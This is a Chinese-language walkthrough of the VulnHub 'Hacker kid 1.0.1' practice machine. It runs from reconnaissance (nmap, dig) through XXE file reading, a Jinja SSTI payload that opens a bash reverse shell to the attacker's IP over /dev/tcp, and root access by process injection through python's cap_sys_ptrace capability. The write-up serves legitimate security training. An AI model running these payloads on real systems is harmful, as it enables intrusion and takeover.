Hacker kid:1.0.1
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://www.vulnhub.com/entry/hacker-kid-101,719/ |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.140
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.140 |
扫描结果如下:系统开放了一个 DNS 服务(53 端口)、两个 HTTP 服务(80 端口和 9999 端口)
1 | PORT STATE SERVICE VERSION |
目录扫描
两个网站目录扫描均没发现什么有用的信息
DIG域名挖掘
查看网页源码发现提示,说是需要提供 GET 参数 page_no
抓包爆破一下 page_no 的值,当 page_no=21 时,响应包跟其他不一样,给出了一些提示
提示说创建了一些子域并给出了主页的子域 hackers.blackhat.local
,需要将该域名解析到对应的 IP 地址才能访问网站,可以通过修改本地的 hosts 文件,添加如下映射:
1 | 192.168.52.140 hackers.blackhat.local |
使用 dig 查一下 blackhat.local
域名的完整DNS记录,发现有一个子域 hackerkid.blackhat.local
,将该子域也添加进 hosts 文件里
1 | 192.168.52.140 hackerkid.blackhat.local |
漏洞利用
XXE注入
访问 http://hackerkid.blackhat.local/
是一个登陆表单,抓包发现数据传输格式是 xml 格式
尝试进行 xxe 注入,注入点在邮箱处,直接读 /etc/passwd
可以发现家目录只有一个用户 saket
,读取该用户目录下的 .bashrc
配置文件,可以得到一个账号密码,payload 如下:
1 |
|
访问 9999 端口开的 web 服务,只有一个登陆页面,使用刚刚得到的账号密码 admin/Saket!#$%@!!
尝试登陆,但是失败了,账号换成靶机普通用户名 saket,密码不变,即可成功登陆
SSTI模板注入
登陆后提示传参 name,界面一眼 ssti 模板注入,测试 ?name={{7*7}}
回显 49,证明漏洞存在,然后直接写一个反弹 shell 命令,攻击机开启监听,即可拿到 shell
1 | ?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.128/2233 0>&1"')}} |
权限提升
经尝试发现是 Capabilitie 提权,首先查找具有 Capability 的文件
1 | /sbin/getcap -r / 2>/dev/null |
执行结果如下,发现 python 有 cap_sys_ptrace 权限,可以通过进程注入来提权
1 | /snap/snapd/24792/usr/lib/snapd/snap-confine = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin+p |
先上传 inject.py 脚本,使用批处理把所有 root 进程都注入一下
1 | # 攻击机先把 inject.py 文件下载好,然后使用python开启http服务端口 |
等进程注入完之后,nc 主动连接 5600 端口,成功提权
1 | nc 192.168.52.140 5600 |